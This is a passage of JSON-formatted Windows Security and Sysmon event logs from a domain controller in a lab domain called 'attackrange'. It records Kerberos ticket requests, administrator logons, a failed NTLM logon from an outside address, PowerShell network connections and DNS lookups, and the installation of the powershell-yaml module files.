computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x698f5","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221918,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221919,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{793CC6EA-F123-ED15-CA1E-065AABEB946A}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{793CC6EA-F123-ED15-CA1E-065AABEB946A}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221920,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{793CC6EA-F123-ED15-CA1E-065AABEB946A}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{793CC6EA-F123-ED15-CA1E-065AABEB946A}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221921,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x6FBBD\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{793CC6EA-F123-ED15-CA1E-065AABEB946A}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x6fbbd","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{793CC6EA-F123-ED15-CA1E-065AABEB946A}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221922,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x6FBBD\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x6fbbd","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":4716,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:03.049\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nUser: ATTACKRANGE\\Administrator\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 51457\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 168.61.186.235\r\nDestinationHostname: \r\nDestinationPort: 443\r\nDestinationPortName: https","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","UtcTime":"2020-08-07 11:56:03.049","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","User":"ATTACKRANGE\\Administrator","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"51457","DestinationIsIpv6":"false","DestinationIp":"168.61.186.235","DestinationPort":"443","DestinationPortName":"https","EventReceivedTime":"2020-08-07 11:56:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4717,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:04.742\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_pejmum3t.bic.ps1\r\nCreationUtcTime: 2020-08-07 11:56:04.742","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:04.742","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_pejmum3t.bic.ps1","CreationUtcTime":"2020-08-07 11:56:04.742","EventReceivedTime":"2020-08-07 11:56:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":4718,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:03.810\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nUser: ATTACKRANGE\\Administrator\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 51458\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 152.199.19.161\r\nDestinationHostname: \r\nDestinationPort: 443\r\nDestinationPortName: https","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","UtcTime":"2020-08-07 11:56:03.810","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","User":"ATTACKRANGE\\Administrator","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"51458","DestinationIsIpv6":"false","DestinationIp":"152.199.19.161","DestinationPort":"443","DestinationPortName":"https","EventReceivedTime":"2020-08-07 11:56:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":4719,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:03.809\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nQueryName: psg-prod-eastus.azureedge.net\r\nQueryStatus: 0\r\nQueryResults: type: 5 psg-prod-eastus.ec.azureedge.net;type: 5 cs9.wpc.v0cdn.net;::ffff:152.199.19.161;\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:56:03.809","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","QueryName":"psg-prod-eastus.azureedge.net","QueryStatus":"0","QueryResults":"type: 5 psg-prod-eastus.ec.azureedge.net;type: 5 cs9.wpc.v0cdn.net;::ffff:152.199.19.161;","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","EventReceivedTime":"2020-08-07 11:56:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221923,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadministrator\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tAn Error occured during Logon.\r\n\tStatus:\t\t\t0xC0000225\r\n\tSub Status:\t\t0x0\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t109.178.193.185\r\n\tSource Port:\t\t1769\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\t\r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"administrator","Status":"0xc0000225","FailureReason":"%%2304","SubStatus":"0x0","LogonType":"3","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"109.178.193.185","IpPort":"1769","EventReceivedTime":"2020-08-07 11:56:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4720,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:08.680\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\Documents\\WindowsPowerShell\\Modules\\powershell-yaml\\0.4.2\\lib\\net35\\YamlDotNet.dll\r\nCreationUtcTime: 2020-08-07 11:56:08.680","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:08.680","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\Documents\\WindowsPowerShell\\Modules\\powershell-yaml\\0.4.2\\lib\\net35\\YamlDotNet.dll","CreationUtcTime":"2020-08-07 11:56:08.680","EventReceivedTime":"2020-08-07 11:56:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4721,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:08.680\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\Documents\\WindowsPowerShell\\Modules\\powershell-yaml\\0.4.2\\lib\\net45\\YamlDotNet.dll\r\nCreationUtcTime: 2020-08-07 11:56:08.680","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:08.680","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\Documents\\WindowsPowerShell\\Modules\\powershell-yaml\\0.4.2\\lib\\net45\\YamlDotNet.dll","CreationUtcTime":"2020-08-07 11:56:08.680","EventReceivedTime":"2020-08-07 11:56:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4722,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:08.695\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\Documents\\WindowsPowerShell\\Modules\\powershell-yaml\\0.4.2\\lib\\netstandard1.3\\YamlDotNet.dll\r\nCreationUtcTime: 2020-08-07 11:56:08.695","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:08.695","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\Documents\\WindowsPowerShell\\Modules\\powershell-yaml\\0.4.2\\lib\\netstandard1.3\\YamlDotNet.dll","CreationUtcTime":"2020-08-07 11:56:08.695","EventReceivedTime":"2020-08-07 11:56:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4723,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:08.695\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\Documents\\WindowsPowerShell\\Modules\\powershell-yaml\\0.4.2\\Tests\\powershell-yaml.Tests.ps1\r\nCreationUtcTime: 2020-08-07 11:56:08.695","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:08.695","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\Documents\\WindowsPowerShell\\Modules\\powershell-yaml\\0.4.2\\Tests\\powershell-yaml.Tests.ps1","CreationUtcTime":"2020-08-07 11:56:08.695","EventReceivedTime":"2020-08-07 11:56:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4724,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:08.695\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\Documents\\WindowsPowerShell\\Modules\\powershell-yaml\\0.4.2\\Load-Assemblies.ps1\r\nCreationUtcTime: 2020-08-07 11:56:08.695","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 